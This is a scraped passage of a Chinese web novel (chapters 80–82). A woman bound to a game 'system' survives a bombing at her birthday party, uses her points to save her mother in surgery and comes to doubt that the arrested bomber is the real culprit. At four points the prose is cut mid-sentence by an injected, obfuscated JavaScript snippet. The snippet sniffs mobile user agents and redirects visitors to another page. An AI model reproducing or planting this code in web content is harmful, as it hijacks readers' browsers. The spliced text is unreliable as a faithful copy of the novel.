闵朝言闭上眼睛,枕着他的手。 “可能是熬夜太多了。” 她懒洋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16782470|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洋回答。 “可是这些尸体都没有意思,死得千篇一律,你都看腻了。” 曲让尘轻轻叹气。 “那怎么办,非正常死亡的尸体,也轮不到我看啊。” 闵朝言打趣。 治安局内部有自己的法医,一旦尸体被认定为非正常死亡,就会被直接送到治安局内部,进行解剖验尸。 “我依然想不明白,你为什么当年会落榜。” 曲让尘眼中闪过一丝怨恨。 成为治安局法医是闵朝言人生中第一个梦想, 学习对她来说并非难事,人生中的所有考试闵朝言都保持着第一名的好成绩,即使是高考,也是仅差一分满分,刷新了重平市高考状元的最好纪录。 然而, 这样一个“学神”级人物,居然在治安官考试的复试中,被刷下来了。 没有解释,没有理由,只有一张纸,上面写着: 【经复试检验,闵朝言同学不具备报考我校的资格。】 曲让尘永远无法忘记那天, 那是他第一次看到闵朝言眼中燃起愤怒的火焰。 她将世界视为自己的游戏, 而世界以此报复她的傲慢。 “我不知道。” 闵朝言按住曲让尘的手,缓缓睁开眼睛。 黑框眼镜后,那双常含着笑意的眼睛冰冷,漆黑深邃,其中仿佛有漩涡沼泽蔓延。 她在等待着, 将什么拖入其中吞噬。 曲让尘看着她的样子,缓缓收回手,安静地跪下去,那漂亮的眉眼也低垂着,带着孩子般的惶恐。 “阿言,我说错话了,你罚我吧。” 他乖巧地说。 闵朝言看他一眼,忽然轻笑一声,小腿抬起,搭在他肩膀上: “你这样,到底是要罚,还是在讨赏?” “本来就既是罚,又是赏。” 曲让尘的下巴蹭过腿侧,勾起一阵痒。 曲让尘小时候过得贫寒,很少有吃零食的机会,只有闵朝言给他的时候,他才能尝上一点甜味。 在众多闵朝言给予的甜味中,曲让尘最喜欢的是一种装在小塑料杯子里的巧克力。 巧克力杯里,会放上散发香甜气息的小豆子,闵朝言使坏捉弄他,不给他小勺子,让他必须自己用舌头勾出来。 小豆子含在牙齿间,杯壁上的巧克力也不会轻易由了他的意,总要很耐心,很认真仔细地用舌头舔过去,那香甜的液体才会融化在他舌尖。 曲让尘向来极乖巧,事事由闵朝言安排, 但也许是这样的甜味太难得,他总忍不住吃得很急切,连唇边溢出甜味都只是急急用舌尖扫去,恨不得更深入些,将所有巧克力一扫而空,尽数吞进咽喉里去。 每当这时候,闵朝言会紧紧揪住他的头发,将他狠狠按下,叫他口鼻都被淹没,在甜香中窒息。 月色摇晃着。 闵朝言仰头靠在椅子上,太阳穴的胀痛被一种更强烈的感觉盖过去。 哒、哒、 脚步声在门外响起。 “小孩,我来接你——” 那清亮温和的声音猛地顿住,随后,又再次从喉咙里被挤出来,硬生生压下艰涩: “……回家。” 闵朝言没回头,只是抬手挥挥,示意自己听见了。 倪淮玉来接人,看来今天晚上是个聚会。 她刚刚才累了一回,需要歇会儿。 余韵渐渐散去, 太阳穴又开始胀痛起来,有什么东西挣扎着要从意识的更深层逃出来。 “阿言有点累,让她休息一下吧。” 曲让尘抬起头,精致脸蛋上的笑容是带着诡谲气息的艳色。 在倪淮玉的目光中, 他伸出舌尖,舔去唇瓣上一点晶莹水色。 80. 芳芳纺织厂(32) 汽车驶过城市街道。 重平市近几年开启了大规模的新建和改造行动,如今主干道上一排崭新的摩天大楼。 白天,玻璃幕墙折射出刺眼阳光; 夜晚,LED灯光破开黑暗不断闪烁。 没人在乎撞死在玻璃上的飞鸟。 车内, 闵朝言熟练地打开副驾驶储物箱,找出一袋薯片,撕开包装。 包装上的文字她看不懂,大体是某个欧洲国家的小种语言,薯片口味也古怪,蜂蜜黄芥末海鲜味。 薯片被咬碎,发出一声脆响。 不太好吃。 “最近学习辛苦吗?” 倪淮玉坐在驾驶座上,眼神没有移开路面,右手递过来一张湿巾,轻轻擦过她的唇瓣。 “有点。” 闵朝言喂给他一片薯片。 唇瓣与指腹相触,她故意用指甲轻轻滑过那柔软的部分。 “咳——咳咳咳!” 一时间呼吸微滞,本不刺鼻的芥末味被带入气管,倪淮玉忍不住咳嗽起来。 闵朝言坐在副驾驶,眼中笑意明亮纯粹。 仿佛稚童专心观察蚂蚁濒死。 “……又在捉弄我。” 他顺过气来,看了闵朝言一眼,竟是含着笑的。 倪淮玉今年二十五岁,早褪去少年青涩,眉眼温润如玉,肌肤暖白莹润。 与无处不精致,绝艳到有种非人感的曲让尘不同, 分明单拎五官出来,倪淮玉的长相处处都不扎眼惊艳,组合起来却有种极难得的和谐自然,叫人情不自禁便生出亲近感。 或许该感激母亲为他改名,他真成了如玉般的人。 “这次回来,我就不走了。” 倪淮玉说。 三年前,倪淮玉大学毕业,原本已经找好了在本市的工作,却忽然决定要出国留学,动作之迅速如同逃难,半个月时间就从重平到了伦敦。 三年时间,他一次都没有回来, 只有一个又一个礼物包裹越洋到闵朝言手中。 从最新一季的奢侈品,到偶然在海滩上捡到的贝壳,礼物不断,却没有只言片语。 闵朝言给他打过一次电话, 那通电话接通之后,对面只有长久的沉默。 在电话费耗尽之后,昂贵的越洋电话自动挂断。 闵朝言没有再联络过他。 直到上周,倪淮玉再次出现在她家楼下。 一月上旬,重平还在下雪,他大概是在雪里站了很久,头发,肩膀,连睫毛上都落满小雪花。 “小孩,我回来了。” 他看着闵朝言,脸上带着笑。 他对着闵朝言伸出手, 那掌心里是一把橘子软糖。 制作出这个糖的厂家在去年被某家零食巨头收购,这款橘子软糖也随之停产了。 后来那个牌子出了很多新口味,更甜更漂亮, 很少有人会记得十年前,五毛钱就能买一把的旧款糖果。 闵朝言接过糖果,也对着倪淮玉露出笑容。 就好像他没有离开, 就好像什么也没有发生过。 汽车缓缓停在别墅外。 “嗯。” 闵朝言转头看向车窗外驶过的风景,漫不经心地应了一声。 “我回来之后,一直想和你说,当初我为什么突然离开。” 倪淮玉的双手握紧方向盘,语气中带着犹豫。 “这么多年,我一直把你当成家人,虽然没什么资格这么说,但我一直觉得,你就像我的妹妹一样,我……” 他抬头,语气放缓,心跳声却急促地响起,一声一声,如同擂鼓。 忽然,他的声音戛然而止,被硬生生顶回喉咙里, 不知何处而起的痛苦在喉间蔓延。 闵朝言平静地看着他。 “你现在不了吗?” 她说。 她用那种,带着一点好奇,一点戏谑,和一点期待的目光看着他。 好像时间又回到了十三年前初遇的那天,在一个平凡无聊的午后,他成为闵朝言生活中意外的趣味点缀。 “……” 倪淮玉忽然说不出话。 要说什么呢? 说他的苦痛挣扎,他的执念痴心,他的辗转血泪? 你不是早知道结果吗。 倪淮玉,你不是早该知道吗。 倪淮玉忽然笑了一声,摇头,神色依然是温和的,声音中的艰涩被强行咽下: “不,现在也是。” “你一直,都是我最重要的家人。” 他说。 闵朝言分明没错过他眼中闪过的苦楚,却似无所觉一般,点点头: “那很好呀。” “嗯,很好。” 倪淮玉也说。 “你先进去吧,天气冷。我停好车就进去。” 他说。 在闵朝言转身后,倪淮玉将车驶入车库,他坐在驾驶位上,右手边是闵朝言吃了一口就嫌弃放下的薯片。 他拿起那片带着牙印的薯片,缓缓放进自己唇间。 辛辣的芥末味在口腔中蔓延,倪淮玉却觉得尝到的,还是当年坐在客厅中央,用手指捻起的,那一点糖粉的味道。 分明是甜的, 尝起来却那么苦。 倪淮玉,你早知道她不在意。 他对自己说。 自白比刀刃更加刺痛入骨。 主人如何在意玩具内心的波涛汹涌呢? 她只是在玩乐而已。 车库的灯光自动熄灭, 他闭上眼,让自己一起隐入黑暗之中。 伸手不见五指的房间内,只有落地窗外的月光落在水晶吊灯上。 闵朝言摸索着,指尖碰到灯光开关。 她没动。 黑暗中有呼吸声传来,被压到尽可能的低,耳语声渐渐起: “她不会找不到开关吧?” “不可能啊,就在门口啊。” “我们要不开灯吧?” “蹲着我腿都麻了……” “诶好我挪一下。” 在脚步声响起的瞬间,闵朝言按下开关。 啪, 水晶灯亮起,室内一片明亮耀眼。 沙发边上,正扶着屁股站起来的大男生猛地瞪大眼睛,嗖一声跳了起来。 “啊啊啊——生日快乐!” 他脸上一片绯红,举起手中的大灯牌,把脸遮住。 围着沙发站着的人们都忍不住笑出声来,在笑声中,小礼花炸开,漫天彩纸飞扬。 这的确是一场聚会,闵长风和丈夫站在中心,在二人身后,是倪盛鸣,程新,已经长大的程百福和郝升祺。 人数不多,但每个人都在闵朝言的生命中,划下过或轻或重的一笔。 闵朝言的视线扫过一圈,微微一顿。 “隋觉荆呢?” 她问。 相比起考上直博,还需要三年才能毕业的闵朝言,隋觉荆去年从治安官学校毕业,已经正式入职刑事组半年。 他很忙,但总能挤出时间,在每一个闵朝言能看到他的瞬间出现。 今天这个场合他不可能不来。 “小荆有一个紧急任务,他说会晚点到。” 闵长风说。 闵朝言皱眉。 在隋觉荆的世界里,她早已习惯于自己高于所有一切。 “言言,生日快乐。” 闵长风走到女儿身边,将一个盒子放在她手心,笑着说: “这是妈妈补给你的礼物,希望你喜欢。” 闵长风今年四十一岁,很有成熟领导的气质,但并不高高在上,反而十分亲和,即使不笑,脸上的笑纹依旧深刻。 经过十余年的商场历练,她眼神沉稳许多,但眼底敏锐更甚从前。 因为工作繁忙,她和闵朝言的相处少了许多,取而代之的是更多更贵重的礼物。 闵朝言收下盒子,脸上神情是恰到好处的惊喜与感动交杂。 “谢谢妈妈。” 她也笑着说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16788194|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>在闵长风的拥抱中,闵朝言垂下眼,神色流露出稍纵即逝的冷淡与无聊。 余光中,水晶灯微微摇晃着,有红色的微光闪烁。 那是新装饰吗? 闵朝言心中浮起一点疑惑。 “祝你生日快乐~祝你生日快乐~” 合唱声响起,一个五音不全还跑调的年轻男声格外突出。 “祝你生日——唔、唔!” 手里举着的大灯牌被按到脸上,男生声音停下,小声质问: “程百福,你干什么?” “闭嘴吧郝升祺,连生日歌都能跑调你也是天才了。” 站在他身边的程百福翻了个白眼,低声说。 程新没有离开重平,和闵长风一起创办了服装公司,不过还是给女儿办了转学,降一个年级读书。 在新学校,白百福变成了程百福。 可能改名真能开运,转学后,程百福的成绩一路突飞猛进,如今到了高三依然名列前茅。 还有五个月高考的她,目标院校是重平市第一医学研究所。 郝升祺则是在去年九月份, 以运动员特招的身份考回了重平市。 当年的小胖子现在成了身高一米九的大高个。 他成绩一如既往的不好,却从初中开始练习冰球,一年瘦了快五十斤,练出一身腱子肉,赢了几个洲际奖项,拿下特级运动员证书。 “生日快乐,朝言。” 倪淮玉推着蛋糕车缓缓走出,烛光摇动着,为他温润的脸颊镀上一层暖色光芒。 朝言。 他将这两个字含在唇间,沉默着咀嚼着。 只是两个字,发音那样简单,却让心一阵又一阵地悸动着。 像快乐,像苦痛。 “倪淮玉。” 闵朝言看着他,轻笑了一声。 倪淮玉安静地看着她。 十八岁的闵朝言复杂了很多,那双黑白分明的眸子里,也不总是直白清澈地看向前方。 但有时, 倪淮玉又会在恍惚间回到过去,过去与现在重合,他又觉得,其实闵朝言从未改变过。 她只是变得“更好”。 “生日快乐。” 倪淮玉看着她,语气近乎缱绻。 “希望,以后你的每个生日,我都能这样为你庆祝。” 他说。 倪盛鸣看着儿子的侧脸,忽然开口: “言言,吹蜡烛吧。” 呼。 闵朝言闭上眼,将最中心的蜡烛吹灭。 铃铃铃——铃铃铃—— 手机铃声响起。 显示屏亮起,一个名字闪烁: 【隋觉荆】 闵朝言按下接通键。 “朝言,快走!” 对面的声音急促而匆忙。 风声猎猎传来,他似乎是在高速移动中。 “快走!马上离开那个房子!” 他说。 下一秒,没有任何询问,闵朝言拉住闵长风的手腕往门外大步跑去。 “所有人,马上离开!” 她高声喊道。 “离开?” “现在吗?” “发生什么了?” 轰——!!! 疑问没有被解答的机会,巨大的爆裂声传来,水晶吊灯从天花板落下,无数水晶折射切割画面,在世界归于黑暗之前,闵朝言被一个人紧紧抱住。 很紧,很紧地, 似乎想将她重新揉进自己的身体里去。 那是最温暖, 最安全的地方。 闵朝言倒在地上,后脑勺传来钝痛,她感到有温热的液体浸湿头发。 耳边的嗡鸣声中,有一个急切的声音传来: [闵朝言?闵朝言!你没事吧?!] 破碎的记忆犹如利刃破开血肉,系统关切的声音模糊听不真切。 恍惚间,她看到一双眼睛。 那双眼中燃烧着火焰, 要将自己连同世界统统焚尽。 81. 芳芳纺织厂(33) 嗡鸣声尖锐在耳边响起,闵朝言感到有温热的液体从耳朵流出。 声音渐渐模糊,眼前一片黑暗。 她听见有什么在崩塌。 混乱的大脑中,有一道声音响起: [闵朝言?闵朝言!] 闵朝言, 闵朝言…… 名字唤回自我,她睁开眼睛,眼前一片死寂苍白。 是天花板, 医院的天花板。 “你醒了?还好吗?能听见我说话吗?” 一个声音传来,像是蒙在毛玻璃之后,钝而模糊。 闵朝言缓缓转过头去,看着站在病床前的人。 他足有一米八几的大个子俯身弯腰,小心翼翼地看着病床上的闵朝言。 那双手一直握着输液管,用体温将冰冷的药液捂热。 “隋觉荆。” 她说。 隋觉荆低着头,手虚放在她的手上,想握住又似乎怕碰到她,只能很轻地在指尖上抚过。 他大概是很久没有休息了,眼下青黑一片,下巴上冒出青色的胡茬,五官硬朗的脸上,满是愧色内疚。 “对不起,如果我能早点赶到的话……你就不会受伤了。” 隋觉荆声音沙哑。 “我妈……” 闵朝言轻声问。 在爆炸前的一瞬间,闵朝言只抓住了闵长风的手,她要带母亲离开。 在爆炸发生的一瞬间,闵长风抱紧了闵朝言的身躯,她要为女儿挡下冲击。 “……” 隋觉荆没有说话。 闵朝言的手猛地握紧,针管一截回血涌出,吓得隋觉荆一把握住她的手背。 “朝言,你别激动!你先别激动。” 他双手握住闵朝言的手,小心翼翼将她的拳头掰开。 “阿姨……现在还在手术室。” 他低声说,避开了“抢救”这个句尾词。 闵朝言忽然感受到一股针扎般的痛,耳鸣声再次响起。 她想起小时候,她曾经好奇过,母亲为什么会对芳芳纺织厂的工人们有那样深刻的感情,也曾经好奇过: 如果母亲有一天也死了, 自己也能感受到那种强烈而浓郁的悲伤吗? 她会吗? 闵朝言不知道。 她只觉得今天实在是很冷,天花板的颜色很冷,输进血管里的药液很冷。 冷得她从掌心到心脏,一片冰凉。 [闵朝言,你还好吗?] 一个声音在她心中响起。 是系统。 闵朝言垂下眼,在爆炸的瞬间,与系统和副本任务有关的记忆齐齐涌出,她想起了自己真正的身份。 她是系统绑定的任务者闵朝言, 她所处的世界是一个游戏副本。 而且,是一个无法运转,即将崩坏的游戏副本。 闵朝言的任务,就是让这个副本的故事顺利进行下去。 ——无论用何种手段。 ‘我没事。’ 闵朝言缓缓闭上眼,冰冷的指尖下,是隋觉荆宽大而温暖的掌心。 ‘我只是有点分不清。’ 她说。 有一瞬间, 她不知道自己到底是恢复了记忆的副本任务者,还是多出了一段记忆的,十九岁的闵朝言。 [……] 系统沉默了。 闵朝言没有继续纠结这个问题,只说: ‘查询数据。’ [你不问下闵长风吗?她还在抢救室。] 系统犹豫着问。 ‘我的询问,会改变结果吗?’ 闵朝言只说。 系统又一次沉默了。 任务者们可以用积分兑换的道具很多,作用有的弱小有的强大,这些道具都可以作用在副本世界里。 任务者们唯一无法兑换的,是“生命”。 无数道具可以用来杀死NPC, 没有道具可以用来复活NPC。 《物·源》的最大受欢迎同时最大受诟病的,就是它“永远向前”的真实性。 就好像…… 这些副本,真的是存在着的,不断向前行走的世界。 [数据查询中——] 副本运转时长:6709天13小时26分49秒(持续中) 副本存活率:0% 主要角色崩坏值: 隋觉荆:79 倪淮玉:82 白百福:100(已崩坏) 曲让尘:99 …… 等等, 副本持续可能0%? 看着悬浮在虚空中的金色文字,闵朝言下意识挑眉。 ‘我在这里十八年,一点副本持续可能性都没增加?’ 她问。 [不是的啊。] 系统苦笑一声,声音里带着某种对于生活放弃抵抗的平和: [你进入这个副本之前,副本存活率是36%呢。] 也就是说, 作为副本维生系统绑定任务者的闵朝言,在进入这个副本之后,把副本持续运转的可能性,从36%干到了0%。 闵朝言:…… “朝言,你醒了?怎么样?” 病房门被推开,倪淮玉快步走进来,在病床边站定。 闵朝言看着他行动自如的模样,一时间神色微怔。 “医生说没有太大问题,但有点轻微脑震荡,短时间耳鸣和听力下降都是正常的。” 隋觉荆代替闵朝言回答。 他对倪淮玉态度一向很不错,将对方当作闵朝言的半个哥哥对待。 倪淮玉看了他一眼,脸上挂起微笑: “辛苦隋长官了。这起事故的原因,你们排查出来了吗?” “是蓄意报复。一个之前因为贪污公款的员工被开除之后怀恨在心,自制了简易爆.炸.装.置,人现在已经抓起来了。” 隋觉荆回答。 “他的一切行动都很隐蔽,如果不是他忍不住自己在论坛发帖子被我同事注意到,我们不可能提前给你们预警。” 他敏锐地感觉到,倪淮玉对自己的态度似乎有所不同了。 “不,他的目的就是要你给我们提前预警。” 病床上,闵朝言开口打断了他。 “什么?” 隋觉荆愣了一下。 “你们在哪里抓到他的?” 闵朝言问。 “在祥麟小区的高层……” 隋觉荆说到这里,恍然大悟。 闵长风去年买了一套新建成的别墅,别墅区处于市中心,隔壁就是早年建成的祥麟小区。 “他所在的位置,应该可以观察到我们家的别墅。” 闵朝言的声音很平静。 她家门廊处有自动感应灯,大门打开时,灯会自动亮起。 “站在客厅里的倪淮玉毫发无损,其他人应该也是一样,只有站在门口向外跑的我和我妈受了伤,爆.炸.装.置的位置就是门口,对吗?” 闵朝言说。 从那个“意外”被发现的帖子开始,一切都是犯人的预谋。 一个已经离职的污点前员工不可能进入闵长风的别墅内部,但知道别墅的地址却没什么难度。 他提前将爆.炸.装.置放在门口,夜晚,别墅区的灯光昏暗,借着花园遮掩,装置并不容易被发现。 他自己则在祥麟小区的高层房子里观察着,并且故意在网络论坛上大谈自己的袭击计划,试图引起治安官关注,诱导治安官给闵闵家人打电话,让她们迅速撤离。 当看到门外感应灯亮起时,他启动装置,最大可能造成伤亡。 甚至,这还是一种精神层面的折磨——在即将脱离危险的希望下,反而走进了最大的危险中。 闵朝言甚至都要感到赞叹了。 “……是的。” 隋觉荆的声音沉重。 “朝言,对不起,如果不是我给你打电话……可能你和阿姨反而不会受这么重的伤。” 他被愧疚折磨着,声音哑得更厉害了。 闵朝言没有说话,缓缓闭上眼睛。 隋觉荆只感觉连呼吸都是一把把利刃,顺着空气切开他的五脏六腑。 如果,如果他做得更好一些,如果他能强大一切,如果他更早察觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792852|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这些…… 隋觉荆的手紧握成拳,手背青筋爆出。 [隋觉荆崩坏值上升] [当前崩坏值:80] 系统提示音响起。 “很精彩。” 闵朝言淡淡地说。 ? 隋觉荆甚至无法正确理解这三个字,他呆愣着抬起头,看向闵朝言。 “朝言,你的脑震荡,是不是还是很不舒服?” 他呢喃着问。 “我妈在抢救室多久了?” 闵朝言问。 “……六个小时了。” 倪淮玉回答。 闵朝言沉默地看着天花板。 ‘系统。’ 她说。 [根据当前生命体征分析,闵长风的生还率为20%。] 系统回答。 闵朝言没说话。 死寂一般的沉默在病房中蔓延。 “隋觉荆,不要自责,自责没有用处。” 闵朝言抬手,轻轻摸了摸隋觉荆的头发。 他的发质很硬,甚至有点扎手。 那张硬朗英俊的脸此刻双眼发红,仰头看着闵朝言。 他双膝跪在地上,握住闵朝言的手,将那只手抵在自己眉心,仿佛在忏悔告解,又如同请求宽恕。 “对不起。” 他低声说, “我应该保护好你的。” 如果连这件事都做不到, 如果连这件事都做不好。 那我存在的意义……是什么? 在训练中稳定十环从不偏移的双手,此刻不自觉地颤抖。 闵朝言的手轻轻抚过他眼下的肌肤,带着安抚的意味,却没有说出代表原谅的话语。 “你下次会做得更好的。” 她只说。 闵朝言抬头看向门外,那是手术室的方向。 闵长风还在里面。 手术室内, 医生额间流下的汗珠马上被擦去,她对着护士伸出手: “准备缝合。” 闵朝言缓慢地眨着眼睛。 ‘系统,兑换道具。’ 她说。 [商城里没有能提高生存率的道具。] 系统回答。 ‘我知道。我要兑换的是另一个道具。’ 闵朝言说。 [道具:绝顶天赋] [属性:一次性精神类道具] [功能:在一件你最擅长的事情上,赋予你绝顶的天赋与直觉] [道具已使用] [任务者账户积分已清零] 护士将五号钳子放在医生手心,却又听见一声: “不,她的心电图不对劲,重新检查肺部创口缝合点。” “快!” 在医生说出这句话的下一秒,心电图的报警声响起。 [闵长风生还率10%…1%…5%…19%…42%…] [100%!] 听见系统播报的最后一个数字,闵朝言缓缓放开了藏在被子底下,攥紧了床单的那只手。 “哈……哈哈哈……哈哈哈!” 她突然大笑出声,整个人仰在柔软的枕头上,笑得眼泪都滚落。 “朝言?”/“朝言!” 隋觉荆和倪淮玉大惊。 “不,我没事。” 她抬手抹去眼泪,声音很轻: “那个犯人一定会被判有罪吗?” “他对自己的行为供认不讳。被判有罪的可能性非常大。” 隋觉荆有些犹疑地回答。 “那我能见见他吗?” 闵朝言问。 这次隋觉荆沉默得更久,但在闵朝言的目光中,他终于还是点头: “我会尝试走特殊探视。” “朝言,你为什么想见他?” 隋觉荆问。 “因为,我想谢谢他。” 闵朝言微笑着说, 这场爆炸, 真的……太有趣了。 闵朝言抬手, 看着自己指尖上那一点晶莹的泪水。 这是她第一次流泪。 82. 芳芳纺织厂(34) 手术灯熄灭, 闵长风被推入病房。 医生摘下口罩,看着病床被推远,神色感慨。 这场爆炸范围很小,甚至炸.弹的威力也不算大,闵长风虽然受伤,但并不足以危及生命。 这场手术的难度并不高。 在进入手术室时,医生这么认为。 她处理好伤口,检查内脏的受损程度,然后准备缝合。 但就在一切即将结束的瞬间,某种不知何处而来的灵感让她脑海中的警铃疯狂响起—— 不对劲! 有什么东西不对劲! 在这瞬间的灵感与直觉中,医生发现了心电图上极其微小的奇怪起伏,并以此为基础,在闵长风血压忽然极端上升时稳住了情势,让一场足以杀死她的爆发性大出血消弭于无形。 手术台上,十秒钟的大出血,就可以带走一个人的性命。 那千分之一秒中,闪出的灵感和直觉, 让闵长风活了下来。 在后续的手术中, 医生排查出血点,发现闵长风左肾处有早期肿瘤迹象。 手术麻醉刺激导致肿瘤释放过量儿茶酚胺,引起了心律失常和血压的极端波动。 肿瘤处于早期,后续摘除非常顺利。 这种肿瘤是著名的无症状肿瘤,症状几近于无,发展却十分迅猛,往往只有在末期才会被发现。 如果没有这场爆炸,没有这场手术, 在几年后的某一天,闵长风很可能会突然倒下,再也起不来。 这场袭击, 居然救了她的性命。 “老师,你是怎么注意到那么微小的迹象的?” 站在她身边的学生问。 “我不知道。” 医生摇头回答。 也许……在那个瞬间,有什么比她们更强大,更高纬的意志, 希望闵长风的生命延续下去。 「道具使用成功。」 「没办法直接给闵长风加生命值,但是可以给主刀医生增益buff,闵朝言,你好聪明啊!」 系统兴高采烈地夸奖她。 ‘浪费积分救一个非重要NPC,有什么可庆祝的。’ 闵朝言声音淡淡。 「话不能这么说,她是你在这个世界的妈妈啊。」 系统说。 ‘这个世界都是假的。’ 闵朝言低声说。 在那场爆炸案中,只有两个人受伤,闵朝言和闵长风。 闵朝言受伤,是因为她逃生的路径被犯人预判,反而中了陷阱。 而闵长风受伤,是因为那个瞬间,在所有人当中,闵朝言选择了抓住她的手一起逃跑。 多么讽刺。 如果闵朝言选择丢下闵长风不管,对方反而可以完好无损。 「可是记忆不是。闵朝言,虽然我一直无法和你沟通,但我能看见你身上发生的一切。」 系统说。 「闵朝言,我第一次看见你快乐。」 它的声音里带着笑。 在这个副本里, 在这个并不真实的人生,并不真实的世界里, 你第一次感到快乐, 你第一次落下眼泪。 「闵朝言,你用了自己所有的积分去救她。」 系统的声音很轻。 「你在乎她。」 闵朝言没有回答, 她闭上眼睛,假装陷入昏迷,假装系统的声音已经被她隔绝。 “阿言,阿姨安全出手术室了——” 隋觉荆兴奋的声音传来,又忽然顿住。 “啊,她睡了?” 隋觉荆放轻声音。 他刚才去看了一下闵长风的情况,又跑上跑下缴费拿单子,这会儿才回来。 “嗯。” 倪淮玉坐在闵朝言床边,点头。 “阿姨脱离危险了,你等下帮我告诉她吧。” 隋觉荆低声说。 他还要去完成案件的收尾工作,不能一直在病房等着,守到闵朝言醒过来,已经是极限。 “好。” 倪淮玉点头。 病房的门开启又关上, 房间里只剩下闵朝言和倪淮玉。 一片寂静。 倪淮玉看着在自己手心捂了许久的输液管,抬手,指尖轻轻抚过闵朝言的额发。 “阿姨没事了,这很好。” 他低声道。 “不过,朝言,你真的在乎吗?” 倪淮玉问。 第二天, 闵朝言独自办理出院。 凌晨,天蒙蒙亮, 她来到闵长风的病房外,透过门上的玻璃看进去。 单人病房里,闵长风安静地睡着,戴着呼吸机,心电图上的波形稳定起伏。 闵朝言没有进去,也没有离开, 她安静地看着,直到天空彻底放晴。 离开时, 隔壁病房的老人已经醒来,正在看天气预报。 它说, 有一场大雪即将降临。 楼外,一辆车在闵朝言面前停下, 车窗降下,是倪淮玉。 “我不是让你回去休息?” 闵朝言问。 “你想去哪,我送你。” 倪淮玉避而不答,要下车为她打开副驾驶车门。 啪。 后座车门率先被打开。 “去我的住处——你也在?” 闵朝言的声音一顿。 从里面打开后座车门的是曲让尘。 “我猜到你可能需要他,所以提前把他接上了。” 倪淮玉的声音里带着笑。 他很快地扫过一眼自己空荡荡的副驾驶,眉眼中显出一丝阴郁,声音却没有分毫异样。 曲让尘不着痕迹地向驾驶座看了一眼,唇瓣微扬。 「哇,好没有新意的情敌互相膈应小技巧。」 系统吐槽。 闵朝言坐在后排,接过曲让尘递过来的文件夹。 “那个人的确之前是服装公司的员工,在上个月因为挪用公款被开除。” 曲让尘说。 文件夹翻开第一页,就是犯人的照片,名字和身份信息。 他很年轻,毕业于一所普通大学的会计专业,在去年入职了闵长风的服装公司。 “他住的房子我也找到了,那天治安官上门抓人,很多人都看到他是从哪间出来的。” 第二页,是房间内部的各角度照片。 几乎没有任何的生活气息,比起住所更像是个即将被废弃的据点,甚至房间内部都是毛坯状态。 “然后,还有这些。” 在房间最大的一面墙上,有着很多双面胶的痕迹,根据残留残痕上的印记来看,之前粘在墙上的应该是照片。 成千上百张照片。 “对方把照片都撕得很干净,只有这里有一点点残留,上面的内容是……” 曲让尘将一个透明自封袋里递给闵朝言。 自封袋是一张照片的残余,指甲盖大小的一块。 照片上显示的,一尊雕像的下半截,看上去像是一本被翻开的大书,阳光照射在金属材质上,照片有种过曝失焦的模糊感。 闵朝言认识这个雕像。 重平市第一医学院研究所的实验楼前,就有一尊这样的雕像。 她每次去解剖室都会路过。 “这个人的目标……是我?” 闵朝言皱起眉。 不,不对。 闵朝言记得自己在这个副本中度过的每一个瞬间,认识的每一个人,她和这场案件的犯人没有过任何交集。 犯人不可能认识她。 犯人的目标不可能是她, 但这场爆炸的目标就是她。 这么小型的爆炸, 基本不可能造成任何危及生命的后果。 爆炸,陌生人,炸弹,房间…… 这没有被撕干净的照片残骸真的在无意中留下的吗? 她的目光落在照片残余上, 在那上面,阳光的角度是—— “倪淮玉,去治安局!马上!” 闵朝言猛地抬头。 “好。” 倪淮玉没有问理由, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797077|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立马猛打方向盘调头,将油门踩到底。 闵朝言冲进治安局大门。 “朝言来了?你找小荆吗?” 有相熟的治安官和她打招呼。 “不,我要见犯人,那个在我家门口放了炸.弹的犯人。” 闵朝言摇头,语速急促。 “啊,作为受害人想见也正常,但是程序上……” 那人有些为难。 “不,我现在就要见他,他不是真凶!” 闵朝言厉声道。 “小闵啊……” 对方还想说什么,闵朝言大步越过人往前走。 “小闵?小闵!” 治安官追在她身后。 “我有证据证明他不是真凶,你让我见他,我就给你。” 